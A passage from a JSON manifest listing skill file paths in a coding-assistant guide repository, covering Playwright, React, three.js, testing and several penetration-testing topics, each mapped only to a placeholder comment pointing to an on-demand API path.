available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-and-edge-cases.md -->","skills/playwright/core/error-index.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-index.md -->","skills/playwright/core/file-operations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-operations.md -->","skills/playwright/core/file-upload-download.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-upload-download.md -->","skills/playwright/core/fixtures-and-hooks.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffixtures-and-hooks.md -->","skills/playwright/core/flaky-tests.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fflaky-tests.md -->","skills/playwright/core/forms-and-validation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fforms-and-validation.md -->","skills/playwright/core/i18n-and-localization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fi18n-and-localization.md -->","skills/playwright/core/iframes-and-shadow-dom.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fiframes-and-shadow-dom.md -->","skills/playwright/core/locator-strategy.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocator-strategy.md -->","skills/playwright/core/locators.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocators.md -->","skills/playwright/core/mobile-and-responsive.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmobile-and-responsive.md -->","skills/playwright/core/multi-context-and-popups.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-context-and-popups.md -->","skills/playwright/core/multi-user-and-collaboration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-user-and-collaboration.md -->","skills/playwright/core/network-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnetwork-mocking.md -->","skills/playwright/core/nextjs.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnextjs.md -->","skills/playwright/core/performance-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fperformance-testing.md -->","skills/playwright/core/react.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Freact.md -->","skills/playwright/core/search-and-filter.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsearch-and-filter.md -->","skills/playwright/core/security-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsecurity-testing.md -->","skills/playwright/core/service-workers-and-pwa.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fservice-workers-and-pwa.md -->","skills/playwright/core/test-architecture.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-architecture.md -->","skills/playwright/core/test-data-management.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-data-management.md -->","skills/playwright/core/test-organization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-organization.md -->","skills/playwright/core/third-party-integrations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fthird-party-integrations.md -->","skills/playwright/core/visual-regression.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvisual-regression.md -->","skills/playwright/core/vue.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvue.md -->","skills/playwright/core/websockets-and-realtime.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwebsockets-and-realtime.md -->","skills/playwright/core/when-to-mock.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwhen-to-mock.md -->","skills/playwright/migration/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2FSKILL.md -->","skills/playwright/migration/from-cypress.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-cypress.md -->","skills/playwright/migration/from-selenium.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-selenium.md -->","skills/playwright/playwright-cli/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2FSKILL.md -->","skills/playwright/playwright-cli/advanced-workflows.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fadvanced-workflows.md -->","skills/playwright/playwright-cli/core-commands.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fcore-commands.md -->","skills/playwright/playwright-cli/device-emulation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fdevice-emulation.md -->","skills/playwright/playwright-cli/request-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frequest-mocking.md -->","skills/playwright/playwright-cli/running-custom-code.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frunning-custom-code.md -->","skills/playwright/playwright-cli/screenshots-and-media.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fscreenshots-and-media.md -->","skills/playwright/playwright-cli/session-management.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fsession-management.md -->","skills/playwright/playwright-cli/storage-and-auth.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fstorage-and-auth.md -->","skills/playwright/playwright-cli/test-generation.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftest-generation.md -->","skills/playwright/playwright-cli/tracing-and-debugging.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftracing-and-debugging.md -->","skills/playwright/pom/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2FSKILL.md -->","skills/playwright/pom/page-object-model.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpage-object-model.md -->","skills/playwright/pom/pom-vs-fixtures-vs-helpers.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpom-vs-fixtures-vs-helpers.md -->","skills/privilege-escalation-methods/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fprivilege-escalation-methods%2FSKILL.md -->","skills/project-sizing-guide/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fproject-sizing-guide%2FSKILL.md -->","skills/r2-upload/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FREADME.md -->","skills/r2-upload/SECURITY.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSECURITY.md -->","skills/r2-upload/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSKILL.md -->","skills/r2-upload/package.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Fpackage.json -->","skills/r2-upload/tsconfig.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Ftsconfig.json -->","skills/r3f-animation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-animation%2FSKILL.md -->","skills/r3f-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2FSKILL.md -->","skills/r3f-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2F_sections.md -->","skills/r3f-best-practices/rules/drei-use-gltf.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fdrei-use-gltf.md -->","skills/r3f-best-practices/rules/frame-delta-time.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fframe-delta-time.md -->","skills/r3f-best-practices/rules/loading-suspense.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Floading-suspense.md -->","skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-never-set-state-in-useframe.md -->","skills/r3f-best-practices/rules/perf-r3f-perf.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-r3f-perf.md -->","skills/r3f-best-practices/rules/perf-visibility-toggle.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-visibility-toggle.md -->","skills/r3f-best-practices/rules/perf-zustand-selectors.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-zustand-selectors.md -->","skills/react-best-practices/AGENTS.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FAGENTS.md -->","skills/react-best-practices/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FREADME.md -->","skills/react-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FSKILL.md -->","skills/react-best-practices/metadata.json":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Fmetadata.json -->","skills/react-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_sections.md -->","skills/react-best-practices/rules/_template.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_template.md -->","skills/react-best-practices/rules/advanced-event-handler-refs.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-event-handler-refs.md -->","skills/react-best-practices/rules/advanced-init-once.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-init-once.md -->","skills/react-best-practices/rules/advanced-use-latest.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-use-latest.md -->","skills/react-best-practices/rules/async-api-routes.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-api-routes.md -->","skills/react-best-practices/rules/async-defer-await.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-defer-await.md -->","skills/react-best-practices/rules/async-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-dependencies.md -->","skills/react-best-practices/rules/async-parallel.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-parallel.md -->","skills/react-best-practices/rules/async-suspense-boundaries.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-suspense-boundaries.md -->","skills/react-best-practices/rules/bundle-barrel-imports.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-barrel-imports.md -->","skills/react-best-practices/rules/bundle-conditional.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-conditional.md -->","skills/react-best-practices/rules/bundle-defer-third-party.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-defer-third-party.md -->","skills/react-best-practices/rules/bundle-dynamic-imports.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-dynamic-imports.md -->","skills/react-best-practices/rules/bundle-preload.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-preload.md -->","skills/react-best-practices/rules/client-event-listeners.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-event-listeners.md -->","skills/react-best-practices/rules/client-localstorage-schema.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-localstorage-schema.md -->","skills/react-best-practices/rules/client-passive-event-listeners.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-passive-event-listeners.md -->","skills/react-best-practices/rules/client-swr-dedup.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-swr-dedup.md -->","skills/react-best-practices/rules/js-batch-dom-css.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-batch-dom-css.md -->","skills/react-best-practices/rules/js-cache-function-results.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-function-results.md -->","skills/react-best-practices/rules/js-cache-property-access.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-property-access.md -->","skills/react-best-practices/rules/js-cache-storage.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-storage.md -->","skills/react-best-practices/rules/js-combine-iterations.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-combine-iterations.md -->","skills/react-best-practices/rules/js-early-exit.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-early-exit.md -->","skills/react-best-practices/rules/js-hoist-regexp.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-hoist-regexp.md -->","skills/react-best-practices/rules/js-index-maps.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-index-maps.md -->","skills/react-best-practices/rules/js-length-check-first.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-length-check-first.md -->","skills/react-best-practices/rules/js-min-max-loop.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-min-max-loop.md -->","skills/react-best-practices/rules/js-set-map-lookups.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-set-map-lookups.md -->","skills/react-best-practices/rules/js-tosorted-immutable.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-tosorted-immutable.md -->","skills/react-best-practices/rules/rendering-activity.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-activity.md -->","skills/react-best-practices/rules/rendering-animate-svg-wrapper.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-animate-svg-wrapper.md -->","skills/react-best-practices/rules/rendering-conditional-render.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-conditional-render.md -->","skills/react-best-practices/rules/rendering-content-visibility.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-content-visibility.md -->","skills/react-best-practices/rules/rendering-hoist-jsx.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hoist-jsx.md -->","skills/react-best-practices/rules/rendering-hydration-no-flicker.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-no-flicker.md -->","skills/react-best-practices/rules/rendering-hydration-suppress-warning.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-suppress-warning.md -->","skills/react-best-practices/rules/rendering-svg-precision.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-svg-precision.md -->","skills/react-best-practices/rules/rendering-usetransition-loading.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-usetransition-loading.md -->","skills/react-best-practices/rules/rerender-defer-reads.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-defer-reads.md -->","skills/react-best-practices/rules/rerender-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-dependencies.md -->","skills/react-best-practices/rules/rerender-derived-state-no-effect.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state-no-effect.md -->","skills/react-best-practices/rules/rerender-derived-state.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state.md -->","skills/react-best-practices/rules/rerender-functional-setstate.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-functional-setstate.md -->","skills/react-best-practices/rules/rerender-lazy-state-init.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-lazy-state-init.md -->","skills/react-best-practices/rules/rerender-memo-with-default-value.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo-with-default-value.md -->","skills/react-best-practices/rules/rerender-memo.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo.md -->","skills/react-best-practices/rules/rerender-move-effect-to-event.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-move-effect-to-event.md -->","skills/react-best-practices/rules/rerender-simple-expression-in-memo.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-simple-expression-in-memo.md -->","skills/react-best-practices/rules/rerender-transitions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-transitions.md -->","skills/react-best-practices/rules/rerender-use-ref-transient-values.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-use-ref-transient-values.md -->","skills/react-best-practices/rules/server-after-nonblocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-after-nonblocking.md -->","skills/react-best-practices/rules/server-auth-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-auth-actions.md -->","skills/react-best-practices/rules/server-cache-lru.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-lru.md -->","skills/react-best-practices/rules/server-cache-react.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-react.md -->","skills/react-best-practices/rules/server-dedup-props.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-dedup-props.md -->","skills/react-best-practices/rules/server-parallel-fetching.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-parallel-fetching.md -->","skills/react-best-practices/rules/server-serialization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-serialization.md -->","skills/red-team-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fred-team-tools%2FSKILL.md -->","skills/regression-modeler/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregression-modeler%2FSKILL.md -->","skills/regulatory-audit-generator/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregulatory-audit-generator%2FSKILL.md -->","skills/repo-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Frepo-audit%2FSKILL.md -->","skills/route-to-openapi/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Froute-to-openapi%2FSKILL.md -->","skills/scanning-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscanning-tools%2FSKILL.md -->","skills/scholarly-writing-refiner/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscholarly-writing-refiner%2FSKILL.md -->","skills/secure-code-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsecure-code-review%2FSKILL.md -->","skills/shodan-reconnaissance/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fshodan-reconnaissance%2FSKILL.md -->","skills/smtp-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsmtp-penetration-testing%2FSKILL.md -->","skills/sql-injection-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-injection-testing%2FSKILL.md -->","skills/sql-insight/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-insight%2FSKILL.md -->","skills/sqlmap-database-pentesting/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsqlmap-database-pentesting%2FSKILL.md -->","skills/ssh-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fssh-penetration-testing%2FSKILL.md -->","skills/test-driven-dev/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2FSKILL.md -->","skills/test-driven-dev/deep-modules.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fdeep-modules.md -->","skills/test-driven-dev/interface-design.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Finterface-design.md -->","skills/test-driven-dev/mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fmocking.md -->","skills/test-driven-dev/refactoring.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Frefactoring.md -->","skills/test-driven-dev/tests.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Ftests.md -->","skills/test-suite-architect/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2FSKILL.md -->","skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Fassets%2Ftemplates%2FTEST-CASE-TEMPLATE.md -->","skills/test-suite-architect/references/day1_onboarding.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fday1_onboarding.md -->","skills/test-suite-architect/references/google_testing_standards.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fgoogle_testing_standards.md -->","skills/test-suite-architect/references/ground_truth_principle.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fground_truth_principle.md -->","skills/test-suite-architect/references/llm_prompts_library.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fllm_prompts_library.md -->","skills/test-suite-architect/references/master_qa_prompt.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fmaster_qa_prompt.md -->","skills/three-best-practices/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2FSKILL.md -->","skills/three-best-practices/rules/_sections.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2F_sections.md -->","skills/three-best-practices/rules/animation-system.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fanimation-system.md -->","skills/three-best-practices/rules/asset-compression.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fasset-compression.md -->","skills/three-best-practices/rules/audio-spatial.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Faudio-spatial.md -->","skills/three-best-practices/rules/core-web-vitals.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fcore-web-vitals.md -->","skills/three-best-practices/rules/debug-devtools.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdebug-devtools.md -->","skills/three-best-practices/rules/draw-call-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdraw-call-optimization.md -->","skills/three-best-practices/rules/error-handling-recovery.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ferror-handling-recovery.md -->","skills/three-best-practices/rules/geometry-instanced-mesh.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgeometry-instanced-mesh.md -->","skills/three-best-practices/rules/gltf-loading-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgltf-loading-optimization.md -->","skills/three-best-practices/rules/lighting-shadows-advanced.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Flighting-shadows-advanced.md -->","skills/three-best-practices/rules/memory-dispose-geometry.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmemory-dispose-geometry.md -->","skills/three-best-practices/rules/migration-checklist.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmigration-checklist.md -->","skills/three-best-practices/rules/mobile-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmobile-optimization.md 